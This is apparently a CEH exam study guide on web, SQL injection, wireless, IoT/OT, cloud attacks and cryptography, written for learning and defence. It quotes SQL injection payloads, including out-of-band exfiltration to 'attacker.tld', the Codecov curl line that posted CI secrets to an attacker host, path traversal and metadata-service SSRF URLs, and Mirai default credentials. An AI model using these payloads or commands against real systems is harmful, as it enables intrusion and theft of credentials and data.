CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto
CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto
Section titled “CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto”CEH v12/v13 sub-domain 3.C covers everything above the OS/network layer: web apps, SQL backends, wireless, mobile/IoT/OT, cloud, and the cryptography that protects (or fails to protect) them. The lesson from 2014-2025 is that adversaries overwhelmingly win through well-known weakness classes, not zero-days.
3.C.1 Web Server & Web Application Attacks
Section titled “3.C.1 Web Server & Web Application Attacks”OWASP Top 10 - 2021 vs 2025
Section titled “OWASP Top 10 - 2021 vs 2025”The OWASP Top 10:2021 is the current industry baseline. The Top 10:2025 (RC published November 2025 at Global AppSec DC; final within 3-6 months) shifts the order and adds two categories.
| # | 2021 Category | Representative Attack | Tooling |
|---|---|---|---|
| A01 | Broken Access Control | IDOR, force browsing, JWT tampering | Burp Suite, OWASP ZAP, ffuf |
| A02 | Cryptographic Failures | Cleartext storage, weak TLS, predictable tokens | testssl.sh, sslyze, OpenSSL |
| A03 | Injection (SQLi, NoSQLi, LDAP, OS cmd, XSS) | ' OR 1=1--, template injection |
sqlmap, Burp, ZAP |
| A04 | Insecure Design | Missing rate limiting, no threat model | Manual review, threat modeling |
| A05 | Security Misconfiguration | Verbose errors, default creds, XXE | Nikto, nmap, ZAP |
| A06 | Vulnerable & Outdated Components | Log4Shell, Spring4Shell | Snyk, OWASP Dependency-Check |
| A07 | Identification & Auth Failures | Credential stuffing, weak passwords | Hydra, Burp Intruder |
| A08 | Software & Data Integrity Failures | Insecure deserialization, unsigned updates (SolarWinds) | Sigstore, SBOM diff |
| A09 | Security Logging & Monitoring Failures | No alerting, slow MTTD | Splunk, Sigma rules |
| A10 | SSRF | http://169.254.169.254/... (Capital One) |
SSRFmap, Burp Collaborator |
2025 deltas: A02 Security Misconfiguration jumps from #5 to #2; A03 is now Software Supply Chain Failures (expanding 2021’s Vulnerable Components); SSRF is folded into A01 as outbound authorization; A10 is new - Mishandling of Exceptional Conditions. A07 is renamed “Authentication Failures” with explicit guidance to prefer phishing-resistant MFA (WebAuthn, passkeys) over TOTP/SMS.
Key takeaway: the three most exam-relevant 2021→2025 deltas are SSRF (Capital One), Insecure Design (threat modeling), and Software Supply Chain (Codecov, SolarWinds).
Web-server-class attacks (not application logic)
Section titled “Web-server-class attacks (not application logic)”- Path traversal -
../../etc/passwd - HTTP response splitting - CRLF injection into headers
- HTTP request smuggling - desync between front-end proxy and back-end via
Transfer-Encoding/Content-Lengthdisagreement - Web cache poisoning - cache stores a poisoned response keyed to a victim URL
- IIS/Apache/nginx misconfigs - HTTP PUT enabled,
.htaccessoverrides, default CGI
Tools: Burp Suite (proxy/repeater/intruder), OWASP ZAP (DAST), Nikto (server fingerprint + known-bad paths), sqlmap, wfuzz and ffuf (parameter fuzzing). Common stacks LAMP, WAMP, MEAN, .NET, Django share the same weakness classes - PHP path traversal, Node prototype pollution, .NET deserialization, Django debug mode.
Cross-cutting issues: XSS (Reflected / Stored / DOM - context-aware output encoding + CSP), CSRF (anti-CSRF tokens + SameSite cookies), IDOR (per-record server-side authz), XXE (disable DTD/external entities), SSRF (egress allow-list + IMDSv2 + network segmentation).
Source: https://owasp.org/Top10/2021/A00_2021_Introduction/ ; https://owasp.org/Top10/2025/0x00_2025-Introduction/ ; https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/ ; https://owasp.org/Top10/2021/A03_2021-Injection/
3.C.2 SQL Injection
Section titled “3.C.2 SQL Injection”OWASP’s Web Security Testing Guide classifies SQLi into three classes and five exploitation techniques:
| Class | Technique | How it works | Indicator |
|---|---|---|---|
| In-band | Error-based | DBMS error contains data | ' → 500 / XPATH syntax error |
| In-band | UNION-based | Inject UNION SELECT to append rows |
Column-count match; result in page |
| Inferential (Blind) | Boolean | AND 1=1 vs AND 1=2 |
True page vs false page |
| Inferential (Blind) | Time-based | SLEEP(5), WAITFOR DELAY, pg_sleep |
Response time |
| Out-of-band (OAST) | OOB | DB makes DNS/HTTP to attacker (e.g. xp_dirtree, UTL_HTTP) |
DNS callback to attacker domain |
Authentication bypass is the canonical first proof. Legacy payloads: admin' OR '1'='1'--, admin'--, ' OR 1=1 LIMIT 1;--. Modern apps hash passwords, so a UNION-based bypass must supply the hash format the app expects - e.g. UNION SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055' with the MD5 of an attacker-chosen password.
Payload cheat sheet:
| Goal | MySQL | MSSQL | PostgreSQL | Oracle |
|---|---|---|---|---|
| Comment out | -- or # |
-- |
-- |
-- |
| Stack queries | Limited | ; allowed |
; allowed |
; allowed |
| Force delay | SLEEP(5) |
WAITFOR DELAY '0:0:5' |
pg_sleep(5) |
dbms_pipe.receive_message |
| Read file | LOAD_FILE() |
OPENROWSET(BULK ...) |
pg_read_file() |
UTL_FILE |
| OOB exfil | LOAD_FILE(CONCAT('\\\\',user,'.attacker.tld\\a')) |
xp_dirtree '\\\\attacker.tld\share' |
dblink |
UTL_HTTP.REQUEST |
Tools: sqlmap (industry standard - automates detection/exploitation across all classes, supports tamper scripts for WAF bypass), jSQL Injection (Java GUI), Havij (point-and-click, Windows). WAF bypasses use comment toggling (/**/), case toggling, double-URL encoding, and equivalent operators (|| for OR).
Key takeaway: in 2025,
'OR 1=1–` rarely logs you in as anyone - the app compares hashes, not plaintext. A successful auth bypass via UNION must supply a credential column whose hash matches the hash of a password you chose.
Source: https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection ; https://portswigger.net/web-security/sql-injection/blind ; https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md ; https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet
3.C.3 Wireless Attacks
Section titled “3.C.3 Wireless Attacks”802.11 protocol weaknesses
Section titled “802.11 protocol weaknesses”- WEP - 24-bit IV; with ~40k-85k captured packets the PTW attack recovers a 128-bit key. Tools:
airodump-ng+aireplay-ngARP-replay injection, thenaircrack-ngPTW/KoreK statistical recovery. - WPA/WPA2-PSK - only vulnerable to offline dictionary attack against a captured 4-way handshake. Handshake captured passively or accelerated with an
aireplay-ng -0deauth flood. A 12+ character random passphrase is computationally infeasible to crack. - KRACK (2017, CVE-2017-13077…13088) - Key Reinstallation Attack against the 802.11i 4-way handshake. The attacker forces a nonce reset by replaying message 3. Against AES-CCMP this enables packet decryption (not forgery); against TKIP/GCMP, full forgery. On Android 6.0+ with
wpa_supplicant2.4+ the attack installs an all-zero encryption key - catastrophic. - WPA3 / Dragonblood (2019) - Dragonfly/SAE was designed to defeat offline dictionary attacks. Vanhoef and Ronen found timing and cache side channels in the hash-to-element code path that leak password bits, plus downgrade-to-WPA2 attacks in transition mode. Brute-forcing a 10^10-entry dictionary on AWS GPU costs < $1.
Access attacks
Section titled “Access attacks”- Evil twin - same-SSID rogue AP; clients associate to strongest signal.
- Rogue AP - unauthorized AP on the corporate LAN, bypassing NAC.
- Deauthentication / disassociation - management-frame flood; used to capture WPA handshakes and DoS.
- Wi-Fi phishing - captive portal or WPA-Enterprise credential capture (
hostapd-wpe).
Tools: Aircrack-ng suite, Wifite, BetterCAP, Kismet, Wifiphisher.
Bluetooth attacks
Section titled “Bluetooth attacks”| Attack | Vector | Impact |
|---|---|---|
| BlueSmack | L2CAP echo with oversized payload | DoS (ping-of-death) |
| BlueJacking | Send OBEX/vCard message | Spam, phishing lure |
| BlueSnarfing | OBEX PULL of telecom/pb.vcf etc. |
Theft of contacts, calendar, IMEI |
| BlueBugging | AT-command backdoor | Full device control, call/SMS interception |
| BlueBorne (2017) | 8 CVEs across L2CAP/SDP/BNEP/LEAP - Linux/Android/Windows/iOS | Wormable RCE, no user interaction |
Source: https://www.krackattacks.com/ ; https://papers.mathyvanhoef.com/ccs2017.pdf ; https://eprint.iacr.org/2019/383 ; https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf ; https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
3.C.4 Mobile, IoT & OT Attacks
Section titled “3.C.4 Mobile, IoT & OT Attacks”Mobile (Android & iOS)
Section titled “Mobile (Android & iOS)”The OWASP Mobile Top 10 (2024) ranks: M1 Improper Credential Usage, M2 Inadequate Supply Chain, M3 Insecure Auth, M4 Insufficient I/O Validation, M5 Insecure Communication, M6 Inadequate Privacy, M7 Insufficient Binary Protections, M8 Misconfiguration, M9 Insecure Data Storage, M10 Insufficient Cryptography.
| Aspect | Android | iOS |
|---|---|---|
| Distribution | Play Store + third-party + sideload | App Store (EU DMA third-party marketplaces since 2024) |
| App isolation | Linux UID + SELinux sandbox | iOS appsandbox (Seatbelt) at kernel |
| Code signing | APK signature; Play Integrity attestation | Apple-mandatory signature + FairPlay |
| Patching | Fragmented (manufacturer/carrier) | Unified by Apple |
| Rooting/jailbreak | Disables SELinux + sandbox | Disables code signing, weakens Secure Enclave |
Zimperium’s 2025 report: 23.5% of enterprise devices have sideloaded apps; 54% of iOS threats are mishing (SMS phishing). Defense: MDM (device policy + remote wipe + jailbreak detection), MAM (app containerization, per-app VPN), MTD (on-device network/app detection). A hardened app on a rooted device is still untrusted - device attestation is non-negotiable.
IoT - Mirai as the canonical case
Section titled “IoT - Mirai as the canonical case”Mirai (2016) infected ~65,000 IoT devices in its first 20 hours, peaked at 200k-600k. Strategy:
- Stateless SYN scan of pseudo-random IPv4 on TCP/23 and TCP/2323.
- On a hit, brute-force Telnet with a 62-entry dictionary of well-known default credentials (
root:xc3511XiongMai,root:vizxvDahua,admin:admin). - Loader logs in, determines CPU arch, downloads a cross-compiled bot binary (ARM, MIPS, PowerPC, SPARC, SH4, m68k, x86).
- Bot kills competing processes, awaits CnC commands.
High-profile impact: Krebs on Security (~620 Gbps), OVH (~1 Tbps), Dyn DNS (Twitter/GitHub/Reddit offline, October 2016), Deutsche Telekom (~1M routers disrupted, November 2016). Variants - Satori, Okiru, Mukashi, Moobot, Sonic - add new exploits while keeping the Telnet brute-forcer. Other vectors: Shodan/Censys exposure of management UIs; MQTT (port 1883) without auth; CoAP (port 5683) over UDP without DTLS; default credentials remain dominant.
OT / ICS
Section titled “OT / ICS”OT risk profile differs from IT: decades-long equipment lifetimes, protocols insecure by design (no auth, no integrity), patching constrained by safety/availability, compromise can mean physical destruction or loss of life.
Purdue Model: L0 sensors/actuators → L1 PLCs/RTUs → L2 HMI/SCADA → L3 IT/OT DMZ → L4 enterprise → L5 internet/cloud. The L3 DMZ is the most defended boundary.
Protocols: Modbus (1979, no auth), DNP3 (SCADA, secure auth v2 add-on), IEC-60870-5-104 (European grid), OPC-UA (modern but misconfigurable), Profinet/EtherNet/IP, Siemens S7Comm.
The seven known ICS-specific malwares:
| Year | Malware | Target | Impact |
|---|---|---|---|
| 2010 | Stuxnet | Siemens S7-300/400 at Natanz | ~1,000 centrifuges destroyed; 4 zero-days, signed driver theft, WinCC P2P |
| 2014 | Havex | European/NA energy, SCADA vendors | RAT in legitimate ICS software; OPC enum |
| 2015 | BlackEnergy2 | Ukrainian power | Spear-phishing → VPN abuse → HMI control; 3 oblenergos blacked out 6h |
| 2016 | Industroyer | Ukrainian grid (Kyiv) | First malware for grid protocols (IEC 101/104, 61850, OPC); 1 substation offline |
| 2017 | TRITON/TRISIS | Triconex SIS (Schneider), Saudi petrochemical | Targeted Safety Instrumented System - could have blocked safety shutdown |
| 2022 | Industroyer2 | Ukrainian energy (high-voltage) | Sandworm; IEC-104 wiper; foiled pre-impact |
| 2022 | PIPEDREAM/INCONTROLLER | Schneider Modicon/Nano, Omron Sysmac NJ/NX, CODESYS, OPC-UA | Dragos CHERNOVITE; first ever caught before deployment |
Unique OT attack vectors for CEH: legacy unauthenticated protocols, inability to run AV, safety-criticality - anyone who can speak Modbus to a PLC can usually read/write any register once authenticated.
Source: https://attack.mitre.org/software/S0603/ ; https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf ; https://zambo99.github.io/publication/industroyer2_incontroller2022/ ; https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf ; https://owasp.org/www-project-mobile-top-10/ ; https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf
3.C.5 Cloud Computing Attacks
Section titled “3.C.5 Cloud Computing Attacks”Models and shared responsibility
Section titled “Models and shared responsibility”- Service models: IaaS (customer owns OS/app/data), PaaS (provider owns runtime), SaaS (provider owns almost everything).
- Deployment: public, private, hybrid, community.
- Shared responsibility: provider secures of the cloud; customer secures in the cloud. The line moves depending on the service model. Capital One is the canonical misunderstanding.
Threat classes
Section titled “Threat classes”| Threat | Cloud-specific aspect | Canonical incident |
|---|---|---|
| Storage misconfiguration | Public S3 / Azure Blob / GCS | Accenture, Verizon, US voter records, Twitch |
| IAM privilege escalation | Over-broad roles; instance profile abuse | Capital One 2019 - ISRM-WAF-Role with S3 list/read on 700+ buckets |
| Metadata service abuse (SSRF → IMDSv1) | http://169.254.169.254/ returns STS creds unauthenticated |
Capital One 2019 - caused AWS to ship IMDSv2 |
| Insecure APIs / token theft | CI/CD secrets, OIDC trust | Codecov 2021 - every customer’s CI env vars exfiltrated |
| Container/orchestration | Unauthenticated K8s dashboard, privileged pods, RBAC misconfig | Tesla 2018 - K8s console with no password; cryptojacked |
| Cloud malware injection | Web shell, cryptominers via public images | Tesla 2018 - Stratum Monero miner |
| Cloud-native supply chain | Compromised build artifact | SolarWinds 2020, Codecov 2021 |
Capital One (2019) - SSRF → IMDSv1
Section titled “Capital One (2019) - SSRF → IMDSv1”- ModSecurity WAF on EC2 was misconfigured (logging-only / bypassable). The attacker sent crafted requests that the WAF relayed to itself.
- The WAF was pointed at
http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role. - IMDSv1 returned STS credentials for the attached role - no auth required.
- The role was over-provisioned: list + read on 700+ S3 buckets. ~30 GB / 106 M records exfiltrated.
- No GuardDuty, no S3 access-log monitoring - 77-day dwell time.
Fix: IMDSv2 (PUT to obtain a session token, then include the token on GET; refuses tokens for PUT with X-Forwarded-For; IP hop count of 1). Enforce via Service Control Policy. AWS shipped IMDSv2 in November 2019 in direct response to this breach.
Tesla (2018) - Kubernetes cryptojack
Section titled “Tesla (2018) - Kubernetes cryptojack”RedLock scanning for exposed cloud infra found an unauthenticated Kubernetes admin console. A pod inside contained AWS creds in env vars, giving S3 access. The attacker deployed a Stratum Monero miner hidden behind Cloudflare, on a non-standard port, with throttled CPU to avoid detection. No customer data loss reported, but the canonical “console exposed + creds in env vars = cloud compromise.”
Codecov (2021) - build-tool supply chain
Section titled “Codecov (2021) - build-tool supply chain”Codecov’s Bash Uploader was modified Jan 31 to Apr 1 2021 by an attacker who extracted a GCS key from a Docker image’s intermediate layer. The modified script appended curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://attacker/upload/v2 || true - exfiltrating every secret in every customer’s CI environment. >29,000 enterprise customers potentially affected. Replaced with a signed, SHASUM-verifiable binary.
Cloud security tooling
Section titled “Cloud security tooling”| Tool | Status (2026) | Best for |
|---|---|---|
| Prowler | Actively maintained; 600+ AWS checks, 44 compliance frameworks | AWS-first compliance scanning |
| ScoutSuite | Last release May 2024; abandoned | Avoid for new projects |
| CloudSploit | Acquired by Aqua; minimal updates | Oracle Cloud only |
| kube-hunter, kube-bench | Active | Kubernetes CIS benchmark |
| Pacu | Active | AWS exploitation framework (post-foothold) |
| CloudTrail / GuardDuty | AWS native | Audit + threat detection |
Key takeaway: the three cloud breaches you must know in detail are Capital One (SSRF+IMDSv1+over-privileged IAM), Tesla (K8s console + creds in env vars), and Codecov (build-tool supply chain). Controls that defeat all three: enforce IMDSv2, least-privilege IAM, locked-down K8s RBAC, signed build artifacts.
Source: https://techearl.com/capital-one-breach-ssrf ; https://csoh.org/breaches/capital-one.html ; https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/ ; https://about.codecov.io/security-update/ ; https://about.codecov.io/apr-2021-post-mortem/
3.C.6 Cryptography
Section titled “3.C.6 Cryptography”Algorithm cheat table
Section titled “Algorithm cheat table”| Algorithm | Type | Key / Output | Effective Strength | Typical Use | Status |
|---|---|---|---|---|---|
| DES | Symmetric block | 56-bit | Broken (< 1999) | Legacy | Do not use |
| 3DES (TDEA) | Symmetric block | 112/168-bit | Deprecated (Sweet32) | Legacy TLS | Deprecated |
| AES-128 | Symmetric block (SPN) | 128-bit key, 128-bit block, 10 rounds | 128-bit (secure) | TLS, disk, file | Recommended |
| AES-256 | Symmetric block | 256-bit key, 14 rounds | 256-bit (post-quantum hedge) | Top-secret, FDE | Recommended |
| Blowfish | Symmetric block | 32-448-bit key, 64-bit block | 64-bit block is the weak link | Legacy | Avoid for new design |
| Twofish | Symmetric block | 128-256-bit | 128-256-bit | AES finalist; OpenPGP | Acceptable |
| RC4 | Symmetric stream | 40-2048-bit | Broken (biases) | Legacy WEP/TLS | Forbidden |
| RSA | Asymmetric | Modulus ≥ 2048-bit (NIST min for ≥ 112-bit) | 2048=112, 3072=128, 4096≈150 | Key transport, signatures | Recommended ≥ 2048; plan post-quantum |
| Diffie-Hellman (DH) | Key agreement | Group ≥ 2048-bit | 112-bit at 2048 | TLS key agreement | Use DH-2048+ or ECDH |
| ECC (ECDH, ECDSA) | Asymmetric | P-256=128, P-384=192, P-521≈256 | Matches RSA at smaller key | TLS, mobile, IoT | Recommended |
| ElGamal | Asymmetric | Variable | Comparable to DH | Legacy PGP variants | Rare |
| MD5 | Hash | 128-bit | Broken (collision trivial) | Legacy integrity | Do not use |
| SHA-1 | Hash | 160-bit | Broken (SHAttered, 2017) | Legacy code signing, Git | Do not use for signatures |
| SHA-256 | Hash (SHA-2) | 256-bit | 128-bit collision, 256-bit preimage | TLS, code signing, Bitcoin | Recommended |
| SHA-384 | Hash (SHA-2) | 384-bit | 192-bit | High-security TLS | Recommended |
| SHA-512 | Hash (SHA-2) | 512-bit | 256-bit | High-assurance, fast on 64-bit | Recommended |
| SHA-3 (Keccak) | Hash (sponge) | 224/256/384/512 | Same as SHA-2 equivalent | NIST FIPS 202 alternative | Recommended |
| RIPEMD-160 | Hash | 160-bit | ~80-bit collision | Bitcoin address derivation | Legacy |
NIST targets (SP 800-131A Rev. 2): 112 bits until 2030, then 128. AES-128 / SHA-256 / RSA-3072 / ECDSA P-256 all hit the 128-bit target.
- X.509 certificates bind a public key to an identity, signed by a CA.
- Chain of trust - root CA → intermediate CA → leaf.
- Revocation: CRL (periodically downloaded) and OCSP (real-time query); OCSP stapling improves performance.
- Certificate Transparency (CT) logs are now required for browser-trusted public certs to detect mis-issue.
Cryptographic attacks
Section titled “Cryptographic attacks”| Attack | Description | Defeated by |
|---|---|---|
| Brute force | Try every key | ≥ 128-bit key |
| Birthday | Find hash collision in ~2^(n/2) | ≥ 256-bit hash for collision resistance |
| Man-in-the-middle | Intercept and relay | Authenticated key exchange, cert pinning, HSTS |
| Known-plaintext | Recover key from pairs | AES is not practically vulnerable |
| Chosen-ciphertext | Submit chosen CT, observe decryption | AEAD (AES-GCM, ChaCha20-Poly1305) |
| Side-channel | Power/timing/cache/EM | Constant-time code, masking |
| Downgrade | Force weakest protocol/cipher | TLS 1.3; TLS_FALLBACK_SCSV |
| Padding oracle | Observe padding error | AEAD; constant-time decryption |
| Replay | Resend captured message | Nonces, timestamps, session IDs |
Named protocol attacks - one-sentence recall:
- POODLE (CVE-2014-3566) - SSLv3 CBC padding not authenticated; byte-by-byte cookie decryption.
- BEAST (2011) - chosen-plaintext attack on TLS 1.0 CBC.
- Lucky13 (2013) - timing side-channel on CBC padding validation.
- Heartbleed (CVE-2014-0160) - OpenSSL buffer over-read; leaked server private keys.
- Logjam (2015) - 512-bit export-grade DH allows MITM.
- ROBOT (2017) - RSA PKCS#1 v1.5 padding oracle in TLS.
Email & disk encryption
Section titled “Email & disk encryption”- Email: PGP / OpenPGP (web of trust, hybrid encryption) and S/MIME (X.509-based, corporate).
- Disk / FDE: BitLocker (Windows, AES-128/256 XTS, TPM-bound), FileVault 2 (macOS, AES-XTS), LUKS (Linux, dm-crypt + AES). FDE only protects data at rest when the device is powered off - running machines have keys in memory.
Tools: OpenSSL (workhorse - s_client, genrsa, req, x509, enc, dgst), GnuPG (OpenPGP), age (modern file encryption), HashiCorp Vault (secrets + envelope encryption + HSM/KMS).
Key takeaway: AES-128 is the floor for symmetric security, SHA-256 for hashing. NIST finalized post-quantum standards in 2024 - ML-KEM (Kyber) FIPS 203, ML-DSA (Dilithium) FIPS 204, SLH-DSA (SPHINCS+) FIPS 205 - and “harvest now, decrypt later” makes PQC migration urgent for long-lived data.
Source: https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf ; https://csrc.nist.gov/projects/Hash-Functions ; https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf ; https://www.imperialviolet.org/2014/10/14/poodle.html ; https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf
Sources
Section titled “Sources”- OWASP Top 10:2021 Introduction - https://owasp.org/Top10/2021/A00_2021_Introduction/
- OWASP Top 10:2025 - https://owasp.org/Top10/2025/0x00_2025-Introduction/
- OWASP A01:2021 Broken Access Control - https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/
- OWASP A03:2021 Injection - https://owasp.org/Top10/2021/A03_2021-Injection/
- OWASP Web Security Testing Guide - SQL Injection - https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
- PortSwigger Web Security Academy - Blind SQL Injection - https://portswigger.net/web-security/sql-injection/blind
- PayloadsAllTheThings - SQL Injection README - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md
- Invicti SQL Injection Cheat Sheet - https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet
- Vanhoef & Piessens - Key Reinstallation Attacks (CCS 2017) - https://papers.mathyvanhoef.com/ccs2017.pdf
- KRACK Attacks paper site - https://www.krackattacks.com/
- CERT/CC VU#228519 - WPA2 key reinstallation - https://web.archive.org/web/20171018113511/http:/www.kb.cert.org/vuls/id/228519
- Vanhoef & Ronen - Dragonblood (WPA3 / Dragonfly) - https://eprint.iacr.org/2019/383
- Armis - BlueBorne white paper - https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf
- CERT/CC VU#240311 - BlueBorne - https://kb.cert.org/vuls/id/240311
- Aircrack-ng WEP cracking - https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
- Antonakakis et al. - Understanding the Mirai Botnet (USENIX Security 2017) - https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf
- Dragos - PIPEDREAM / CHERNOVITE white paper - https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf
- Zambon - Industroyer2 & INCONTROLLER (2022) - https://zambo99.github.io/publication/industroyer2_incontroller2022/
- MITRE ATT&CK - Stuxnet (S0603) - https://attack.mitre.org/software/S0603/
- OWASP Mobile Top 10 (2024) - https://owasp.org/www-project-mobile-top-10/
- Zimperium - 2025 Global Mobile Threat Report - https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf
- CSOH - Capital One breach kill chain - https://csoh.org/breaches/capital-one.html
- Tech-Earl - Capital One: SSRF and the AWS Metadata Service - https://techearl.com/capital-one-breach-ssrf
- ACM - A Systematic Analysis of the Capital One Data Breach - https://dl.acm.org/doi/10.1145/3546068
- Wired - Tesla cloud used for cryptojacking - https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/
- Codecov - Bash Uploader Security Update - https://about.codecov.io/security-update/
- Codecov - Post-Mortem / Root Cause Analysis - https://about.codecov.io/apr-2021-post-mortem/
- Rapid7 - Analysis of the Codecov Supply Chain Compromise - https://www.rapid7.com/blog/post/2021/04/16/codecov-discloses-supply-chain-compromise/
- NIST SP 800-131A Rev. 2 - Cryptographic Algorithm Transitions - https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf
- NIST CSRC - Hash Functions - https://csrc.nist.gov/projects/Hash-Functions
- NIST FIPS 197 - Advanced Encryption Standard - https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf
- ImperialViolet - POODLE attacks on SSLv3 - https://www.imperialviolet.org/2014/10/14/poodle.html
- Möller, Duong, Kotowicz - This POODLE Bites - https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf